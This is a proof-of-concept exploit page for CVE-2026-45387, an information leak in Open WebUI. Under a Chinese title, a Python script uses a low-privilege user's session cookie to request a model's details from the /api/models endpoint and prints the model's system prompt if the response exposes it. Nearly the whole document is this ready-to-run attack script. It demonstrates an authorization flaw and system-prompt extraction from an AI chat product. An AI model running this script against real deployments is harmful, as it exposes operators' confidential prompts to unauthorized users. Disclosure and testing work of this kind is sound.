CVE-2026-45387 Open WebUI系统提示信息泄露漏洞

#!/usr/bin/env python3 import requests # Vulnerability Proof of Concept for CVE-2026-45387 # Description: Demonstrates how a low-privilege user can read the system prompt of a model. target_url = "http://localhost:3000" model_id = "llama3-70b" # Example model ID session_cookie = "session_token_here" # Low-privilege user session headers = { "Cookie": f"session={session_cookie}", "Content-Type": "application/json" } # Endpoint to fetch model details (vulnerable endpoint) endpoint = f"{target_url}/api/models/{model_id}" print(f"[*] Attempting to fetch details for model: {model_id}") try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() # Check if system_prompt is exposed if "system_prompt" in data or "prompt" in data: print("[+] Vulnerability Confirmed!") print(f"[+] Leaked System Prompt: {data.get('system_prompt', data.get('prompt'))}") else: print("[-] System prompt not found in response (might be patched or different endpoint)") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")